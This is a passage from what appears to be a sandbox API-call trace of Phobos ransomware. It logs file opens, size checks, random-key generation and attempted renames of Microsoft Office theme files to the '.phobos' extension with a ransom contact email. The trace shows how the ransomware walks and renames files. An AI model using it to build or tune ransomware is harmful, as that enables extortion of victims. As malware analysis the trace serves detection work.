lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5715) returned 1 [0155.070] CloseHandle (hObject=0x528) returned 1 [0155.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif")) returned 0x220 [0155.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.074] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.075] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=738429) returned 1 [0155.075] CloseHandle (hObject=0x528) returned 1 [0155.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx")) returned 0x220 [0155.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.076] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.340] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3446188) returned 1 [0155.340] CloseHandle (hObject=0x528) returned 1 [0155.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx")) returned 0x220 [0155.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx")) returned 0 [0155.341] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.343] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=740) returned 1 [0155.343] CloseHandle (hObject=0x528) returned 1 [0155.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml")) returned 0x220 [0155.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.344] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.345] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=744) returned 1 [0155.345] CloseHandle (hObject=0x528) returned 1 [0155.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml")) returned 0x220 [0155.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.345] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.347] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=741) returned 1 [0155.347] CloseHandle (hObject=0x528) returned 1 [0155.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml")) returned 0x220 [0155.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.347] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.348] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=743) returned 1 [0155.348] CloseHandle (hObject=0x528) returned 1 [0155.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml")) returned 0x220 [0155.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.349] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.349] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=738) returned 1 [0155.350] CloseHandle (hObject=0x528) returned 1 [0155.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml")) returned 0x220 [0155.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.350] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.351] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=743) returned 1 [0155.351] CloseHandle (hObject=0x528) returned 1 [0155.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml")) returned 0x220 [0155.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.353] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.354] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=746) returned 1 [0155.354] CloseHandle (hObject=0x528) returned 1 [0155.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml")) returned 0x220 [0155.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.355] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.355] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=739) returned 1 [0155.355] CloseHandle (hObject=0x528) returned 1 [0155.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml")) returned 0x220 [0155.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.356] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.356] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=721) returned 1 [0155.357] CloseHandle (hObject=0x528) returned 1 [0155.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml")) returned 0x220 [0155.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.357] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.358] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=740) returned 1 [0155.358] CloseHandle (hObject=0x528) returned 1 [0155.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml")) returned 0x220 [0155.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.358] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.359] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=750) returned 1 [0155.359] CloseHandle (hObject=0x528) returned 1 [0155.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml")) returned 0x220 [0155.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.359] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.361] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=744) returned 1 [0155.361] CloseHandle (hObject=0x528) returned 1 [0155.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml")) returned 0x220 [0155.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.361] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.362] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=720) returned 1 [0155.362] CloseHandle (hObject=0x528) returned 1 [0155.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml")) returned 0x220 [0155.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.362] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.363] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=739) returned 1 [0155.363] CloseHandle (hObject=0x528) returned 1 [0155.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml")) returned 0x220 [0155.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml" (normalized: "c:\\program 